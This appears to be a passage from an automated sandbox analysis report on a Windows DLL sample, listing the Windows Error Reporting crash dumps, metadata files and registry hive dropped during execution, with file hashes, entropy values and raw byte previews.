Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.8.5.2.2.4.8.5.5.9.7.4.2.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.8.5.2.2.4.8.9.9.7.2.4.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.d.c.7.f.0.5.7.-.d.c.8.1.-.4.d.9.1.-.9.c.a.a.-.b.d.8.7.0.1.d.2.2.3.a.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.b.5.f.a.4.a.6.-.8.4.c.8.-.4.1.2.c.-.b.8.1.1.-.e.9.d.8.7.2.5.2.d.c.7.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.u.p.f.i.l.l.e.s...d.l.l...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.6.8.-.0.0.0.1.-.0.0.1.4.-.0.4.1.7.-.0.6.f.b.2.5.a.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.d.d.3.9.9.a.e.4.6.3.0.3.3.4.3.f.9.f.0.d.a.1.8.9.a.e.e.1.1.c.6.7.b.d.8.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_upf_dc8a9dd96bb43aa654aa29aa9f464ac6a31131f_9db0ef65_8641b0ad-46f6-452c-a496-10d58d4ec871\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7695999953173611
Encrypted:	false
SSDEEP:	96:TEF1ks0/idyKygsj+4RvNxrfKQXIDcQOc6ncETcw3CCXaXz+HbHgSQgJjZh88Wp8:o3CidygK0wjpFjbyzuiFeZ24lO83
MD5:	F9DA4317B3745718F8A31BB61F06A4F4
SHA1:	9BD89B72FF6CD9493B7343C4A720B403B54D0439
SHA-256:	072151E64254174294A716437E4F986EC8336BAC545EBEA5D71EC5A481A00DBD
SHA-512:	D2E3D37FAB0EB27FDEAA9A17C253B5D225EA96CD53D898A9F7A8A829D2D6B887E0139387DF6CDA03D85A7E2E8595025E08032A65822C12B65E124144B35837AC
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.8.5.2.2.4.2.3.7.7.9.6.8.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.8.5.2.2.4.2.7.3.7.3.4.3.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.6.4.1.b.0.a.d.-.4.6.f.6.-.4.5.2.c.-.a.4.9.6.-.1.0.d.5.8.d.4.e.c.8.7.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.a.0.2.e.b.5.a.-.0.8.a.0.-.4.c.3.1.-.b.1.3.9.-.4.4.8.1.7.4.2.9.8.e.a.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.u.p.f.i.l.l.e.s...d.l.l...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.b.4.-.0.0.0.1.-.0.0.1.4.-.0.d.f.7.-.6.b.f.7.2.5.a.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.d.d.3.9.9.a.e.4.6.3.0.3.3.4.3.f.9.f.0.d.a.1.8.9.a.e.e.1.1.c.6.7.b.d.8.6.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D40.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri May 10 22:04:02 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	66070
Entropy (8bit):	1.5462375465383378
Encrypted:	false
SSDEEP:	96:5u8hjNE3e2neSVUa52sl4GbfhHoi7M9UUACGcKutR1ZfE0FXtpqgJbqStCSqjWIF:XhjNi2OM+UAtq1ZfNTqgwStCS9ngz
MD5:	677694119DA44E5FEC7BF1C1317E830B
SHA1:	4FEB41E3E2792D4305F3FD66F5EE17E8BFFDA32D
SHA-256:	13C9DE6CF736408ECF3F5D8B186442A3381B005B307FDBD5DCEB114A627866FB
SHA-512:	000B790E53523A6DFE23A290EFD228BFF0E399927D925B880663ED99F0F3E07957C357E346C4976419B62BC34EC43367BE19E3CA39663B65BD3A6E16CDCE2824
Malicious:	false
Preview:	MDMP..a..... ........>f....................................$...............T.......8...........T.......................................p...............................................................................eJ..............Lw......................T............>f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DFD.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8534
Entropy (8bit):	3.6939797702013397
Encrypted:	false
SSDEEP:	192:R6l7wVeJqdgkmE6Yo8N4LgmfWP3pry89bU66Wf088m:R6lXJqakmE6YLegmfWPRU6DfR
MD5:	80B9B0AFA9ABA69B9A78557C448086C5
SHA1:	B99101A8A598F674B85334D5F8A0609AC22631E6
SHA-256:	9968C12422E570B5EE4916B7EDF4BC0240E72DE23F62EF10630EC4B1E51814FF
SHA-512:	8D2CBE94CDDBA9C7F4FDD42B91E690533542BB23B8DD38FD258D3CC44585D6C07E12DA68A06CC179B1B8C7D8C3A8F400316A4787D58FB980DD530F34F2BAB469
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.3.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E1D.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4777
Entropy (8bit):	4.477202967569579
Encrypted:	false
SSDEEP:	48:cvIwWl8zssJg771I99aWpW8VY+Ym8M4JCNCF0laFtyq85mQCy8ptSTSLd:uIjfqI7+b7VeJilCGT8poOLd
MD5:	5D367A225C41966DC6550185A90DAE6F
SHA1:	101CC4DF6477453EA9552B5AD0EE1273F1599AEA
SHA-256:	E6997AC198F3DBE27F9915E0C4A3CC5E65654C6536885480C9BC6EF40290C190
SHA-512:	EDF7487656C3685EFE40BEAB794203DDBF95DD49E14CA56E27EAC8BD88B5CCE0BFF9C5555D329990288C05738F40CF731B5EE9D15DB3800A90DCA5F80C5D46F8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="317586" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER389A.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri May 10 22:04:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	58190
Entropy (8bit):	1.605256614606473
Encrypted:	false
SSDEEP:	192:0VrYrCpCzQOMAsu+Qiqwxay+QsK0QRAQh:2E1TpoQi1aZQsK/Rp
MD5:	CAAA37C00D8ECF6FA5FC4FA2A30BD2FA
SHA1:	2F9D061ED037ECE51B72AC937A99813073410435
SHA-256:	ECA00EFCB890B105FA3A548999F1E7A161FD7BDB5ED7B1F2FF2240DF570C41E2
SHA-512:	9432BA4BCEB6E8A6D56DB1CBD256C7A1C3835413B22B4CEC7A7D8D7FACC8A85CF7E981CDC802E9A7001EB67285401042ED97471A5617B1D8BC220A145DD928C2
Malicious:	false
Preview:	MDMP..a..... ........>f.........................................)..........T.......8...........T...............V...........T...........@...............................................................................eJ..............Lw......................T.......t....>f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER38DA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8534
Entropy (8bit):	3.6966319113948383
Encrypted:	false
SSDEEP:	192:R6l7wVeJRBAmS6YojN4LgmfWfiwsprRC89br4Wf9vZm:R6lXJXAmS6YEegmfWqP7rxfi
MD5:	B607A2EB5584FD30993D12ABB2C4DF8A
SHA1:	F2E1E2CE69FB5F3AB9850FF3A56668B6DFAE0AFF
SHA-256:	DC1BDEED634E5907DFD137282558057ED000A00CD7BABC1ABC665D6B47410064
SHA-512:	249030B4D7B167C51DA04101F483BFE2D977EDE4D0DBAF6E45720002D56785033391999DCBE0591289B8DE51E15D1C1ADBCE641A4472471D0A4B869CED69DDAD
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3919.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4777
Entropy (8bit):	4.480227848947886
Encrypted:	false
SSDEEP:	48:cvIwWl8zssJg771I99aWpW8VYsYm8M4JCNCF0saFmjyq85mQCrAptSTSDd:uIjfqI7+b7VEJi8jGfpoODd
MD5:	76611ED68AE98A3C1C5418DA42AD9839
SHA1:	E56614DC31056975565348CCA2BC464DC61B1657
SHA-256:	1E7C757B8CED61BB0960A6FD8EE447BE3D82DF516B6DBF0CD4E9DD3CD465F897
SHA-512:	1852341A694CC87F021633950EA49ECE0FDC5D470769097BE801C9F5F525F77E075FF0F4FC9BAE3266E303161AB520D0DEFF756C4B6DF3F6CF50F20AD73A052C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="317586" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER459B.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri May 10 22:04:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	57494
Entropy (8bit):	1.6234250646337964
Encrypted:	false
SSDEEP:	192:duYrC6W3OMlUsn9pHz+bF7frc/wHGpzp/iaBReJd5U6:rhZgV9lxXpzp/9jePL
MD5:	66F2A3C376DA0D558312FF6110D838C3
SHA1:	834B317025A81AA5E7F00DF4430D56F7D760645B
SHA-256:	562F917C37C8D1E62F2E934483DEF3B9032D3EDBDE40154FD19E1CEA1BE2BAF2
SHA-512:	58CC96682B33937C6CBB1E4CA8C0F7A07A37CD327DF704A9149CEAD1272E8F4C2539691B2C8FA46B75BB017353F11C02BD129EFE4159EE3081DF67D534CB974C
Malicious:	false
Preview:	MDMP..a..... ........>f.........................................)..........T.......8...........T...........................T...........@...............................................................................eJ..............Lw......................T.......h....>f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4619.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8522
Entropy (8bit):	3.6962697567258553
Encrypted:	false
SSDEEP:	192:R6l7wVeJtabmV6Y7pGgmfWP3prM89b+rWfxKm:R6lXJwbmV6YFGgmfWPT+6fd
MD5:	B71FE5E91F46A2F6E80793B28555315E
SHA1:	52F0EE991F743BEA0995768C5AA075635A979098
SHA-256:	7F8F6E795A696CA77E094A9664C2A6B795FFB3C2E9A5A6AEF1ED303C408F7EA0
SHA-512:	5CE960EE43F0BD8BEE75A7688B62FD8BD51F4CE59AF84251C28867D7FD5E54FF5E03D2D159A5C36D8B04415FB04CF4EA130D1036D1D8DC564B5B2F961FFE0203
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4648.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4777
Entropy (8bit):	4.478653683433715
Encrypted:	false
SSDEEP:	48:cvIwWl8zssJg771I99aWpW8VYpYm8M4JCNCF0laFniyq85mQCypptSTS6d:uIjfqI7+b7V1JilVGTppoO6d
MD5:	DA7D9A451274291EFD3755DC8FC3A141
SHA1:	51E42DA26BBC94435F94EFDBDF8A242CC744E57C
SHA-256:	821799E5797BB8E3BCB45C123C170C09004DB0C21BB4FC46A6F6A99DE66FFC12
SHA-512:	1AADD5F0D59B95756B48DFE2F6F95D358774409C5E209449411050C86A5F3990AE52D7AA1BBDD93063D712B6CB0DC84BE371833813004423128DF6949663B53A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="317586" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4656.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri May 10 22:04:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	54894
Entropy (8bit):	1.6839237359198767
Encrypted:	false
SSDEEP:	96:59S8veE3+XuQRawUKUCGsV3bBvgoi7MxpnZ0mK1NX7RT9bCmYhJbqmpx5OqWRW/F:diYrCrOMzuJXeDwwx5OLIH9EyXh
MD5:	A837E0375D7983509A56860346CFCC15
SHA1:	F75FAE2A056C6FEF8D8F1D700F3412213DFFFB2D
SHA-256:	205CD9270682DC17A83E8D40610371F3ED964DD319E67BDBA4BE1780DF36D02F
SHA-512:	DAD398EB6A465DF561E9F4A51FD2D414C84CFFB7F34BC06FEE2515B88EDCAC48978359ADA324F8A441AE9304221089DF081651A0CC5B770D121A04ED586B5A4A
Malicious:	false
Preview:	MDMP..a..... ........>f.........................................)..........T.......8...........T...............v...........T...........@...............................................................................eJ..............Lw......................T.......x....>f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER46C4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8522
Entropy (8bit):	3.6958245523678235
Encrypted:	false
SSDEEP:	192:R6l7wVeJoigmd6Y7GGgmfWfiwsprH89b+vWfuKm:R6lXJdgmd6Y6GgmfWq2+ef6
MD5:	57975B44072D1C9B3E80DB2266217745
SHA1:	A9CF9831C70448BFE57EB598D192F042A2AE3A6D
SHA-256:	415AD9CE27C4A61A389B2D2AE85DF89BB06FEFD9971BDB3399CAE445E58B8910
SHA-512:	93854E117CDB0F89602B01AA667CE2E15D7607242C6EC26A4B7060F5FCB7EB905ADB72A73E979F8B35E01DA8F21F8CEE3A99D7FA40DD04ABBBD3428F6F83C212
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4704.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4777
Entropy (8bit):	4.481691067176541
Encrypted:	false
SSDEEP:	48:cvIwWl8zssJg771I99aWpW8VYSYm8M4JCNCF0saFBwtjyq85mQCrdptSTSNd:uIjfqI7+b7VCJiP0GqpoONd
MD5:	243DA7FD47223239375D054C23BDE13D
SHA1:	01345C28EFD562EEDE44945D9F8B54A30951ABC4
SHA-256:	CF4636B318E7DCECACDC72437D290E86C0501BCA90B77EE7585C1C837614D3D3
SHA-512:	9BCE637D0F2AA10F4FD3BE688AFC8B97DC87CD20E03157250D55EC6368C6E353BB80A712BA982C01CA00B082C593634FA65DC3295A1EF8F9DCAA3C69330CCD3F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="317586" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46640558354698
Encrypted:	false
SSDEEP:	6144:/IXfpi67eLPU9skLmb0b4zWSPKaJG8nAgejZMMhA2gX4WABl0uNcdwBCswSb9:wXD94zWlLZMM6YFHa+9
MD5:	B7B3B5CD7790EDF0686FF777BA5097D3
SHA1:	ED234CE4B519238F46F4AA9519B3C51AFB301F20
SHA-256:	221475E4ACF30CBC675FA384CAE2C143B9C04EF7B913D8D65B0052080F31D095
SHA-512:	2F5813E176688BB57E91FD992373740377CDE50F0EBF56BD906A17D6325F158525F85FA13581310839B2EB9219FD5E6F03A3DE3E3E9A32CF3DAAC2D1BAE26831
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...%...............................................................................................................................................................................................................................................................................................................................................U..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	7.38766220411242
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	upfilles.dll.dll
File size:	520'704 bytes
MD5:	ccb6d3cb020f56758622911ddd2f1fcb
